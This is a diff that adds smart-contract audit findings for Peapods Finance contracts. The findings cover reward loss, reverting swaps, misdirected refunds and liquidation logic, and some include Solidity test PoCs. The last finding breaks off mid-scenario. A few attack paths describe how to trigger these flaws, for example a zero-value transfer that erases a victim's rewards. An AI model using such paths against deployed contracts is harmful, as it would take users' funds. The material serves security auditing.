+Medium
+
+# Precision Loss When Converting to uint64
+
+### Summary
+
+The function calculates interest rate changes in uint256 but converts the result to uint64, leading to potential precision loss.
+
+The function performs multiple arithmetic operations on uint256 values before converting to uint64 (_newRatePerSec = uint64(...)
+
+function getNewRate(bytes calldata _data, bytes calldata _initData) external pure returns (uint64 _newRatePerSec) {
+ requireValidInitData(_initData);
+ (,, uint256 _utilization,) = abi.decode(_data, (uint64, uint256, uint256, uint256));
+ (uint256 _minInterest, uint256 _vertexInterest, uint256 _maxInterest, uint256 _vertexUtilization) =
+ abi.decode(_initData, (uint256, uint256, uint256, uint256));
+ if (_utilization < _vertexUtilization) {
+ uint256 _slope = ((_vertexInterest - _minInterest) * UTIL_PREC) / _vertexUtilization;
+ _newRatePerSec = uint64(_minInterest + ((_utilization * _slope) / UTIL_PREC));
+ } else if (_utilization > _vertexUtilization) {
+ uint256 _slope = (((_maxInterest - _vertexInterest) * UTIL_PREC) / (UTIL_PREC - _vertexUtilization));
+ _newRatePerSec = uint64(_vertexInterest + (((_utilization - _vertexUtilization) * _slope) / UTIL_PREC));
+ } else {
+ _newRatePerSec = uint64(_vertexInterest);
+ }
+ }
+}
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/LinearInterestRate.sol#L74
+
+### Internal Pre-conditions
+
+none
+
+### External Pre-conditions
+
+none
+
+### Attack Path
+
+none
+
+### Impact
+
+ The new rate might be lower than expected due to rounding down, especially when _slope is large.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider using fixed-point arithmetic (e.g., multiplying by a precision factor before division).
\ No newline at end of file
diff --git a/217.md b/217.md
new file mode 100644
index 0000000..0300023
--- /dev/null
+++ b/217.md
@@ -0,0 +1,113 @@
+Nutty Steel Sealion
+
+Medium
+
+# Users may lose their rewards when a reward token is paused
+
+### Summary
+
+When a wallet's shares are updated, the `excluded` value for all tokens is reset. However, rewards for paused tokens are skipped during this process. As a result, if a token is paused when a wallet's shares are updated, users may lose rewards, as their `excluded` value will be updated without actually receiving the rewards for the paused token.
+
+### Root Cause
+
+The issue occurs during the update of a wallet's shares in [`TokenRewards.sol`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L236-L263).
+
+When shares are updated, the process first distributes rewards, if needed, and then resets the `excluded` values for all tokens.
+
+```solidity
+function _addShares(address _wallet, uint256 _amount) internal {
+ if (shares[_wallet] > 0) {
+ _distributeReward(_wallet);
+ }
+ totalShares += _amount;
+ shares[_wallet] += _amount;
+ _resetExcluded(_wallet);
+}
+
+function _removeShares(address _wallet, uint256 _amount) internal {
+ require(shares[_wallet] > 0 && _amount <= shares[_wallet], "RE");
+ _distributeReward(_wallet);
+ totalShares -= _amount;
+ shares[_wallet] -= _amount;
+ _resetExcluded(_wallet);
+}
+```
+
+However, when distributing rewards, paused tokens are skipped, meaning no rewards are given for those tokens.
+
+```solidity
+function _distributeReward(address _wallet) internal {
+ if (shares[_wallet] == 0) return;
+
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+ ...
+ }
+}
+```
+
+On the other hand, the `excluded` values are updated for all tokens, including paused ones.
+
+```solidity
+function _resetExcluded(address _wallet) internal {
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ }
+}
+```
+
+### Internal Pre-conditions
+
+A reward token is paused.
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. Users stake LP tokens and receive reward shares.
+2. Rewards are distributed to stakers.
+3. The reward token is paused.
+4. A user’s balance is updated for any reason, such as:
+ - Staking, unstaking, or transferring tokens.
+ - A malicious actor triggering a zero-value transfer of staked tokens to a victim address (zero transfers are allowed but will still trigger a share update).
+5. When the reward token is unpaused, users whose balances were updated during the paused state will lose their rewards.
+
+### Impact
+
+This issue leads to users losing rewards for paused tokens. When a token is paused, its rewards are skipped, but the `excluded` value is still updated. As a result, users do not receive the correct rewards once the token is unpaused, and the previously accumulated rewards for that token are effectively lost.
+
+### PoC
+
+Add a test to `TokenRewards.t.sol`:
+
+```solidity
+function test_RewardLostWhenTokenPaused() public {
+ rewardsWhitelister.setWhitelist(address(rewardsToken), true);
+
+ vm.prank(address(trackingToken));
+ tokenRewards.setShares(user1, 10e18, false);
+
+ tokenRewards.depositRewards(address(rewardsToken), 100e18);
+
+ rewardsWhitelister.setPaused(true);
+
+ vm.prank(address(trackingToken));
+ tokenRewards.setShares(user1, 0, false);
+
+ rewardsWhitelister.setPaused(false);
+
+ tokenRewards.claimReward(user1);
+ assertEq( rewardsToken.balanceOf(user1), 0);
+}
+```
+
+### Mitigation
+
+Store unpaid rewards as debt for users when a token is paused, and distribute them once the token is unpaused. This way, the `excluded` values can still be updated when shares change.
\ No newline at end of file
diff --git a/218.md b/218.md
new file mode 100644
index 0000000..b0b0342
--- /dev/null
+++ b/218.md
@@ -0,0 +1,56 @@
+Dancing Daffodil Tuna
+
+Medium
+
+# Method swapV2SingleExactOut() and swapV2SingleExactOut() doesn't work when _amountInMax = 0 in UniswapDexAdapter & CamelotDexAdapter
+
+### Summary
+
+The method `swapV2SingleExactOut()` is used to swap `tokenIn` with `tokenOut`. If the input **_amountInMax** is 0 then **_amountInMax** is taken as the balance of the contract. But this functionality will fail as check `uint256 _inRemaining = IERC20(_tokenIn).balanceOf(address(this)) - _inBefore;` will always revert. Because, final **balanceOf** will always be < `_inBefore`.
+
+```solidity
+ uint256 _inBefore = IERC20(_tokenIn).balanceOf(address(this));
+ if (_amountInMax == 0) {
+ _amountInMax = IERC20(_tokenIn).balanceOf(address(this));
+ } else {
+ IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountInMax);
+ }
+```
+
+### Root Cause
+
+In both the method the subtraction will revert as `_inRemaining` is uint and `IERC20(_tokenIn).balanceOf(address(this)) - _inBefore` will be negative.
+- https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/UniswapDexAdapter.sol#L104
+- https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L73
+
+
+### Internal Pre-conditions
+
+-
+
+### External Pre-conditions
+
+-
+
+### Attack Path
+
+-
+
+### Impact
+
+The feature to pull tokens from the contract will not work as `swapV2SingleExactOut()` always revert when `_amountInMax=0`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Change type of `_inRemaining` to `int256` will fix the issue.
+
+```solidity
+ int256 _inRemaining = IERC20(_tokenIn).balanceOf(address(this)) - _inBefore;
+ if (_inRemaining > 0) {
+ IERC20(_tokenIn).safeTransfer(_msgSender(), _inRemaining);
+ }
+```
\ No newline at end of file
diff --git a/219.md b/219.md
new file mode 100644
index 0000000..fce34cf
--- /dev/null
+++ b/219.md
@@ -0,0 +1,44 @@
+Nutty Steel Sealion
+
+Medium
+
+# Incorrect flashMint cost when hasTransferTax option is enabled
+
+### Summary
+
+When the `hasTransferTax` option is enabled, the `flashMint` will cost more than expected due to the additional transfer tax for minting and burning.
+
+### Root Cause
+
+It is expected that [`flashMint`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L424-L436) costs 0.1% of the minted amount. The `flashMint` process involves minting new tokens to the recipient, followed by burning those tokens and covering the associated flash mint fees, which are also burned. The internal [`_update`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L159-L182) function does not exclude the `flashMint` process from transaction taxes. As a result, when the `hasTransferTax` option is enabled, the transaction tax is applied multiple times throughout the `flashMint` process:
+
+1. Transaction tax for minting: 0.01%
+2. Transaction tax when repaying the minted tokens: 0.01%
+3. Transaction tax for burning: 0.01%
+4. Fee for `flashMint`: 0.1%
+5. Additional transaction tax fee for burning the main fee
+
+### Internal Pre-conditions
+
+The `hasTransferTax` option is enabled.
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. User executes a `flashMint`.
+2. More fees are taken than expected.
+
+### Impact
+
+This issue results in users paying more fees than expected during the `flashMint` process when the `hasTransferTax` option is enabled. The additional transaction taxes applied at multiple stages lead to a higher overall cost, which could significantly reduce the effectiveness of the flash mint for users.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+To prevent this issue, ensure that the `flashMint` process is excluded from the transaction tax logic in the `_update` function.
\ No newline at end of file
diff --git a/220.md b/220.md
new file mode 100644
index 0000000..f7fee9a
--- /dev/null
+++ b/220.md
@@ -0,0 +1,37 @@
+Square Magenta Mouse
+
+Medium
+
+# Hardcoded addresses
+
+### Summary
+
+There are multiple contracts in the protocol in which there are hardcoded addresses. Since PeaPods plan to deploy on many chains, these addresses will differ on each chain and the protocol won't work properly.
+
+### Root Cause
+
+Hardcoded.
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Protocol just won't work properly on multiple chains.
+
+### PoC
+
+Ref: [1](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/V3Locker.sol#L15), [2](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/Zapper.sol#L23-L26), [3](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/dex/AerodromeDexAdapter.sol#L20), [4](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/flash/BalancerFlashSource.sol#L27)
+
+### Mitigation
+
+Don't hardcode them but set in constructor or similar.
\ No newline at end of file
diff --git a/221.md b/221.md
new file mode 100644
index 0000000..bb68b54
--- /dev/null
+++ b/221.md
@@ -0,0 +1,77 @@
+Atomic Syrup Leopard
+
+Medium
+
+# User will pay more interest because they owed more than necessary when add leverage.
+
+### Summary
+
+After calling the `_lpAndStakeInPod` and `_spTknToAspTkn` function in the `_addLeveragePostCallback` function, the `LeverageManager` contract will have remaining pod token and `_d.token`. Therefore, the amount of tokens that the user needs to borrow from the `lendingPair`, should be the amount of tokens to be paid back to the lash loan minus the remaining `_d.token` amount.
+Looking at the current code implementation, even if there is remaining `_d.token` amount in the contract, the amount of `_d.token` that be borrowed from the `lendingPair` is calculated as `_flashPaybackAmt`.
+As a result, the user borrows more than necessary, and should pay more interest than necessary to the `lendingPair`..
+
+### Root Cause
+
+After calling the `_lpAndStakeInPod` and `_spTknToAspTkn` function, some `_d.token` is remaining in [`LeverageManager`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L340-L342) contract, so user only needs to borrow `_d.token`s from `lendingPair` for `_flashPaybackAmt - remaining` amount.
+
+However, in reality, the user has borrowed `_flashPaybackAmt` amount, which means that the user owes more than necessary and will have to pay more interest.
+
+```solidity
+ function _addLeveragePostCallback(bytes memory _data) internal returns (uint256 _ptknRefundAmt) {
+ ...
+ (uint256 _pTknAmtUsed,, uint256 _pairedLeftover) = _lpAndStakeInPod(_d.token, _borrowTknAmtToLp, _props);
+ _ptknRefundAmt = _props.pTknAmt - _pTknAmtUsed;
+
+ uint256 _aspTknCollateralBal =
+ _spTknToAspTkn(IDecentralizedIndex(_pod).lpStakingPool(), _pairedLeftover, _props);
+
+ uint256 _flashPaybackAmt = _d.amount + _d.fee;
+@> uint256 _borrowAmt = _overrideBorrowAmt > _flashPaybackAmt ? _overrideBorrowAmt : _flashPaybackAmt;
+ ...
+ LeveragePositionCustodian(positionProps[_props.positionId].custodian).borrowAsset(
+@> positionProps[_props.positionId].lendingPair, _borrowAmt, _aspTknCollateralBal, address(this)
+ );
+
+ // pay back flash loan and send remaining to borrower
+ IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource(_props.positionId)).source(), _flashPaybackAmt);
+@> uint256 _remaining = IERC20(_d.token).balanceOf(address(this));
+ if (_remaining != 0) {
+ IERC20(_d.token).safeTransfer(positionNFT.ownerOf(_props.positionId), _remaining);
+ }
+ }
+```
+
+### Impact
+
+User borrows more than necessary, and should pay more interest than necessary to the `lendingPair`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Decrease the borrowing amount of `_d.token` from `lendingPair` by the remaining amount of `_d.token` left in the `LeverageManager` contract.
+
+```solidity
+ function _addLeveragePostCallback(bytes memory _data) internal returns (uint256 _ptknRefundAmt) {
+ ...
+@> (uint256 _pTknAmtUsed,, uint256 _pairedLeftover) = _lpAndStakeInPod(_d.token, _borrowTknAmtToLp, _props);
+ _ptknRefundAmt = _props.pTknAmt - _pTknAmtUsed;
+
+ uint256 _aspTknCollateralBal =
+ _spTknToAspTkn(IDecentralizedIndex(_pod).lpStakingPool(), _pairedLeftover, _props);
+
+ uint256 _flashPaybackAmt = _d.amount + _d.fee;
+
+-- uint256 _borrowAmt = _overrideBorrowAmt > _flashPaybackAmt ? _overrideBorrowAmt : _flashPaybackAmt;
+++ uint256 _remaining = IERC20(_d.token).balanceOf(address(this));
+++ uint256 _borrowAmt = _overrideBorrowAmt > _flashPaybackAmt - _remaining ? _overrideBorrowAmt : _flashPaybackAmt - _remaining ;
+ ...
+-- uint256 _remaining = IERC20(_d.token).balanceOf(address(this));
+-- if (_remaining != 0) {
+-- IERC20(_d.token).safeTransfer(positionNFT.ownerOf(_props.positionId), _remaining);
+ }
+ ...
+ }
+```
\ No newline at end of file
diff --git a/222.md b/222.md
new file mode 100644
index 0000000..7c92dbe
--- /dev/null
+++ b/222.md
@@ -0,0 +1,44 @@
+Passive Leather Beaver
+
+Medium
+
+# `AutoCompoundingPodLp` contract is incompatible with EIP-4626
+
+### Summary
+
+The `AutoCompoundingPodLp` contract violates EIP-4626 specifications by introducing inconsistencies between `previewMint` and `mint`, as well as other `preview` functions (`previewDeposit`, `maxWithdraw`, `previewWithdraw`, and `previewRedeem`).
+This discrepancy arises because `mint` calls `_processRewardsToPodLp()` before minting shares, whereas the corresponding `previewMint` function does not.
+
+### Root Cause
+
+- The `mint()` function first calls `_processRewardsToPodLp(0, block.timestamp)`, which modifies `_totalAssets` before computing assets. The `previewMint` function directly calls `_convertToAssets(_shares, Math.Rounding.Ceil)` without updating `_totalAssets`. As a result, the amount of assets returned by the `previewMint` function is actually fewer than the amount of assets required by the `mint` function.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L144-L152
+
+- EIP-4626 specifies that `previewMint` function MUST return as close to and no fewer than the exact amount of assets that would be deposited in a mint call in the same transaction. I.e. mint should return the same or fewer assets as previewMint if called in the same transaction.
+
+- The same issue applies to `previewDeposit()`, `maxWithdraw()`, `previewWithdraw()`, and `previewRedeem()`, as `_processRewardsToPodLp()` is called before actual share calculations in `deposit()`, `withdraw()`, and `redeem()`.
+
+### Internal Pre-conditions
+
+
+
+### External Pre-conditions
+
+
+
+### Attack Path
+
+
+
+### Impact
+
+Users relying on `preview` functions may receive inaccurate estimates, leading to financial miscalculations.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Fix is not trivial.
\ No newline at end of file
diff --git a/223.md b/223.md
new file mode 100644
index 0000000..1c8069e
--- /dev/null
+++ b/223.md
@@ -0,0 +1,89 @@
+Brilliant Fiery Sheep
+
+High
+
+# Refund Amounts after adding leverage are sent to the owner of the position instead of the sender of the initial amount
+
+### Summary
+
+If there is a refund of either `pTkn` or `pairedLp` tokens, the refund is sent to the owner of the position even though the sender of the initial amount can be another party.
+The sender of the initial amount will therefore lose their funds.
+
+### Root Cause
+
+In `LeverageManager.callback`, the `_ptknRefundAmt` is sent to the owner of the position instead of the sender of the inital amount:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L217-L220
+
+```solidity
+ if (_posProps.method == FlashCallbackMethod.ADD) {
+ uint256 _ptknRefundAmt = _addLeveragePostCallback(_userData);
+ if (_ptknRefundAmt > 0) {
+ IERC20(_pod).safeTransfer(_posProps.owner, _ptknRefundAmt);
+```
+
+This is also the case in `LeverageManager._addLeveragePostCallback` where the remaining tokens are sent to the owner of the position instead of the sender:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L337-L344
+
+```solidity
+ // pay back flash loan and send remaining to borrower
+ IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource(_props.positionId)).source(), _flashPaybackAmt);
+ uint256 _remaining = IERC20(_d.token).balanceOf(address(this));
+ if (_remaining != 0) {
+ IERC20(_d.token).safeTransfer(positionNFT.ownerOf(_props.positionId), _remaining);
+ }
+ emit AddLeverage(_props.positionId, _props.owner, _pTknAmtUsed, _aspTknCollateralBal, _borrowAmt);
+ }
+```
+
+This is flawed because the owner of the position and the sender adding leverage could be two separate entities.
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. User calls `LeverageManager.addLeverage` and provides some amounts to be used.
+2. There is a refund after the leverage is added but the user doesn't receive the refund which is instead sent to the owner of the position.
+
+### Impact
+
+Loss of funds for the user adding leverage on behalf of the owner of the position.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+The refund should be sent back to the sender:
+
+`LeverageManager.callback`
+
+```diff
+ if (_posProps.method == FlashCallbackMethod.ADD) {
+ uint256 _ptknRefundAmt = _addLeveragePostCallback(_userData);
+ if (_ptknRefundAmt > 0) {
+- IERC20(_pod).safeTransfer(_posProps.owner, _ptknRefundAmt);
++ IERC20(_pod).safeTransfer(_posProps.sender, _ptknRefundAmt);
+```
+
+`LeverageManager._addLeveragePostCallback`
+
+```diff
+ // pay back flash loan and send remaining to borrower
+ IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource(_props.positionId)).source(), _flashPaybackAmt);
+ uint256 _remaining = IERC20(_d.token).balanceOf(address(this));
+ if (_remaining != 0) {
+- IERC20(_d.token).safeTransfer(positionNFT.ownerOf(_props.positionId), _remaining);
++ IERC20(_d.token).safeTransfer(_posProps.sender, _remaining);
+ }
+ emit AddLeverage(_props.positionId, _props.owner, _pTknAmtUsed, _aspTknCollateralBal, _borrowAmt);
+ }
+```
\ No newline at end of file
diff --git a/224.md b/224.md
new file mode 100644
index 0000000..e328544
--- /dev/null
+++ b/224.md
@@ -0,0 +1,158 @@
+Perfect Porcelain Snail
+
+Medium
+
+# Unset `props.sender` in `removeLeverage()` causes Flashloan repayment failure
+
+### Summary
+
+An unset `props.sender` in the `removeLeverage()` function leads to a situation where, if a user supplies a non-zero `_userProvidedDebtAmtMax` (to repay flashloan amount), the subsequent call `IERC20(_borrowToken).safeTransferFrom(_props.sender, address(this), _borrowAmtFromUser);` is made from the zero address. This causes the `transferFrom()` to revert, preventing the user from successfully repaying the flashloan via their provided funds and forcing them tosell their pTKN.
+
+### Root Cause
+
+In [`removeLeverage()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L147), while preparing the flashloan repayment parameters, the `LeverageFlashProps` struct is instantiated without setting its `sender` field.
+
+When the flashloan mechanism determines that additional funds are needed (i.e. when `_pairedAmtReceived < _repayAmount`), the function [`_acquireBorrowTokenForRepayment()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L388C13-L388C46) executes.
+
+Inside `_acquireBorrowTokenForRepayment()`, the following line attempts to transfer tokens using `props.sender`:
+
+ ```solidity
+ IERC20(_borrowToken).safeTransferFrom(_props.sender, address(this), _borrowAmtFromUser);
+ ```
+
+ Since `_props.sender` was never initialized (and thus defaults to the zero address), the call results in a revert (e.g., `"Dai/insufficient-allowance"`).
+
+
+### Internal Pre-conditions
+
+1. A leveraged position must have been opened via `addLeverage()`.
+2. During leverage removal via `removeLeverage()`, the condition `_pairedAmtReceived < _repayAmount` must be met so that the system relies on the user-provided debt amount (`_userProvidedDebtAmtMax`).
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. A user with an existing leveraged position calls `removeLeverage()` and provides a non-zero value for `_userProvidedDebtAmtMax`.
+2. The flashloan repayment logic detects that the borrowed token amount is insufficient (i.e. `_pairedAmtReceived < _repayAmount`) and proceeds to call `_acquireBorrowTokenForRepayment()`.
+3. Inside this function, the contract attempts to execute:
+ ```solidity
+ IERC20(_borrowToken).safeTransferFrom(_props.sender, address(this), _borrowAmtFromUser);
+ ```
+4. Since `_props.sender` was never set, it defaults to the zero address, leading to a revert in the `transferFrom()` call.
+
+### Impact
+
+Affected users will be unable to supply additional funds for the flashloan repayment. As a result, even if they have the necessary tokens, the transaction will revert forcing users to sell their pTKN holdings.
+
+
+### PoC
+
+The following PoC (derived from [LivePOC.t.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/helpers/LivePOC.t.sol)) demonstrates the issue:
+
+`forge test -vvvv --match-path test/lvf/poc_remove_leverage_revert_transfer_from.t.sol --fork-url https://rpc.mevblocker.io`
+
+[poc_remove_leverage_revert_transfer_from.t.sol.txt](https://github.com/user-attachments/files/18785000/poc_remove_leverage_revert_transfer_from.t.sol.txt)
+
+```Solidity
+function test_POCRevertTransferFrom() public {
+
+ // Set a LP postion
+ uint256 positionId;
+ positionId = addLeverage();
+
+ vm.startPrank(ALICE);
+
+ uint256 borrowAssetAmt = 50 * 1e18 ;
+
+ (,,address custodian,,) = leverageManager.positionProps(positionId);
+ uint256 collateralAssetRemoveAmt = pair.userCollateralBalance(custodian);
+ borrowAssetAmt = pair.userBorrowShares(custodian);
+
+ // Symbolic value
+ uint256 userProvidedDebtAmtMax = 1;
+
+
+ // From : https://etherscan.io/token/0x6b175474e89094c44da98b954eedeac495271d0f#code
+ vm.expectRevert(bytes("Dai/insufficient-allowance"));
+ // From forge test -vvvv --match-path test/lvf/POCRevertTransferFrom.t.sol --fork-url https://rpc.flashbots.net/fast
+ // ├─ [5371] Dai::transferFrom(0x0000000000000000000000000000000000000000, LeverageManager: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7], 1)
+ // │ └─ ← [Revert] revert: Dai/insufficient-allowance
+ leverageManager.removeLeverage(positionId, borrowAssetAmt, collateralAssetRemoveAmt, 0, 0, 0, userProvidedDebtAmtMax);
+
+ vm.stopPrank();
+ }
+
+function addLeverage() public returns (uint256) {
+ uint256 daiAmt = 100 * 1e18;
+ uint256 pairedLpDesired = 50 * 1e18;
+ bytes memory config = abi.encode(0, 1000, block.timestamp + 1 hours);
+
+ deal(address(DAI), ALICE, daiAmt);
+
+ vm.startPrank(ALICE);
+
+ // wrap into the pod
+ IERC20(address(DAI)).approve(address(pod), type(uint256).max);
+ pod.bond(address(DAI), daiAmt, 0);
+ uint256 pTknAmt = IERC20(address(pod)).balanceOf(ALICE);
+
+ uint256 positionId = leverageManager.initializePosition(address(pod), ALICE, address(0), false);
+
+ IERC20(address(pod)).approve(address(leverageManager), type(uint256).max);
+ leverageManager.addLeverage(positionId, address(pod), pTknAmt, pairedLpDesired, 0, false, config);
+
+ vm.stopPrank();
+
+ return positionId;
+ }
+```
+
+### Mitigation
+
+Before initiating the flashloan in `removeLeverage()`, ensure the `LeverageFlashProps` struct sets a proper `sender` value by using `_msgSender()` (or the caller's address) :
+
+```diff
+function removeLeverage(
+ uint256 _positionId,
+ uint256 _borrowAssetAmt,
+ uint256 _collateralAssetRemoveAmt,
+ uint256 _podAmtMin,
+ uint256 _pairedAssetAmtMin,
+ uint256 _podSwapAmtOutMin,
+ uint256 _userProvidedDebtAmtMax
+) external override workflow(true) {
+ address _sender = _msgSender();
+ address _owner = positionNFT.ownerOf(_positionId);
+ require(
+ _owner == _sender ||
+ positionNFT.getApproved(_positionId) == _sender ||
+ positionNFT.isApprovedForAll(_owner, _sender),
+ "A1"
+ );
+ address _lendingPair = positionProps[_positionId].lendingPair;
+ IFraxlendPair(_lendingPair).addInterest(false);
+ _processExtraFlashLoanPayment(_positionId, _sender);
+ address _borrowTkn = _getBorrowTknForPod(_positionId);
+ IERC20(_borrowTkn).safeIncreaseAllowance(_lendingPair, _borrowAssetAmt);
+ LeverageFlashProps memory _props;
+ _props.method = FlashCallbackMethod.REMOVE;
+ _props.positionId = _positionId;
+ _props.owner = _owner;
++ _props.sender = _sender;
+ bytes memory _additionalInfo = abi.encode(
+ IFraxlendPair(_lendingPair).totalBorrow().toShares(_borrowAssetAmt, false),
+ _collateralAssetRemoveAmt,
+ _podAmtMin,
+ _pairedAssetAmtMin,
+ _podSwapAmtOutMin,
+ _userProvidedDebtAmtMax
+ );
+ IFlashLoanSource(_getFlashSource(_positionId)).flash(
+ _borrowTkn, _borrowAssetAmt, address(this), abi.encode(_props, _additionalInfo)
+ );
+}
+```
+
+By setting `_props.sender` correctly, the contract will correctly perform the `transferFrom()` using the caller's address, allowing the user to supply the necessary tokens and avoiding the revert.
\ No newline at end of file
diff --git a/225.md b/225.md
new file mode 100644
index 0000000..2e23acc
--- /dev/null
+++ b/225.md
@@ -0,0 +1,147 @@
+Faithful Wooden Elephant
+
+Medium
+
+# The liquidation could be reverted
+
+
+### Summary
+The dirty liquidation of `FraxlendPair` contract could be reverted when it shouldn't.
+
+### Root Cause
+In the `liquidate` function, the `_leftoverCollateral` may not represent the remaining collateral.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1179
+```solidity
+1179: } else if (_leftoverCollateral < minCollateralRequiredOnDirtyLiquidation.toInt256()) {
+ revert BadDirtyLiquidation();
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L74
+```solidity
+74: /// @notice The minimum amount of collateral required to leave upon dirty liquidation
+75: uint256 public minCollateralRequiredOnDirtyLiquidation;
+```
+As we can see the code comment, the `minCollateralRequiredOnDirtyLiquidation` is the minimum amount of collateral required to leave upon dirty liquidation.
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+```solidity
+225:function _isSolvent(address _borrower, uint256 _exchangeRate) internal view returns (bool) {
+ if (maxLTV == 0) return true;
+ uint256 _borrowerAmount = totalBorrow.toAmount(userBorrowShares[_borrower], true);
+ if (_borrowerAmount == 0) return true;
+ uint256 _collateralAmount = userCollateralBalance[_borrower];
+ if (_collateralAmount == 0) return false;
+
+ uint256 _ltv = (((_borrowerAmount * _exchangeRate) / EXCHANGE_PRECISION) * LTV_PRECISION) / _collateralAmount;
+ return _ltv <= maxLTV;
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1179
+```solidity
+ function liquidate(uint128 _sharesToLiquidate, uint256 _deadline, address _borrower)
+ external
+ nonReentrant
+ returns (uint256 _collateralForLiquidator)
+ {
+ ...
+ (, uint256 _exchangeRate,) = _updateExchangeRate();
+
+ // Check if borrower is solvent, revert if they are
+ if (_isSolvent(_borrower, _exchangeRate)) {
+ revert BorrowerSolvent();
+ }
+
+ // Read from state
+ VaultAccount memory _totalBorrow = totalBorrow;
+ uint256 _userCollateralBalance = userCollateralBalance[_borrower];
+ uint128 _borrowerShares = userBorrowShares[_borrower].toUint128();
+
+ // Prevent stack-too-deep
+ int256 _leftoverCollateral;
+ uint256 _feesAmount;
+ {
+ // Checks & Calculations
+ // Determine the liquidation amount in collateral units (i.e. how much debt liquidator is going to repay)
+1135: uint256 _liquidationAmountInCollateralUnits =
+ ((_totalBorrow.toAmount(_sharesToLiquidate, false) * _exchangeRate) / EXCHANGE_PRECISION);
+
+ // We first optimistically calculate the amount of collateral to give the liquidator based on the higher clean liquidation fee
+ // This fee only applies if the liquidator does a full liquidation
+1140: uint256 _optimisticCollateralForLiquidator =
+ (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + cleanLiquidationFee)) / LIQ_PRECISION;
+
+ // Because interest accrues every block, _liquidationAmountInCollateralUnits from a few lines up is an ever increasing value
+ // This means that leftoverCollateral can occasionally go negative by a few hundred wei (cleanLiqFee premium covers this for liquidator)
+1145: _leftoverCollateral = (_userCollateralBalance.toInt256() - _optimisticCollateralForLiquidator.toInt256());
+
+ // If cleanLiquidation fee results in no leftover collateral, give liquidator all the collateral
+ // This will only be true when there liquidator is cleaning out the position
+1149: _collateralForLiquidator = _leftoverCollateral <= 0
+ ? _userCollateralBalance
+ : (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + dirtyLiquidationFee)) / LIQ_PRECISION;
+
+ if (protocolLiquidationFee > 0) {
+ _feesAmount = (protocolLiquidationFee * _collateralForLiquidator) / LIQ_PRECISION;
+ _collateralForLiquidator = _collateralForLiquidator - _feesAmount;
+ }
+ }
+ ...
+ uint128 _sharesToAdjust = 0;
+ {
+ uint128 _amountToAdjust = 0;
+ if (_leftoverCollateral <= 0) {
+ ...
+1179: } else if (_leftoverCollateral < minCollateralRequiredOnDirtyLiquidation.toInt256()) {
+ revert BadDirtyLiquidation();
+ }
+ ...
+ }
+ ...
+ }
+```
+Senario 1:
+ `_userCollateralBalance = 20e18`, `_borrowerShares = 10e18`, `_borrowerAmount = 18e18`, `_exchangeRate = 1e18`,
+ `maxLTV = 0.85e5`, `cleanLiquidationFee = 0.1e5`, `dirtyLiquidationFee = 0.09e5`,
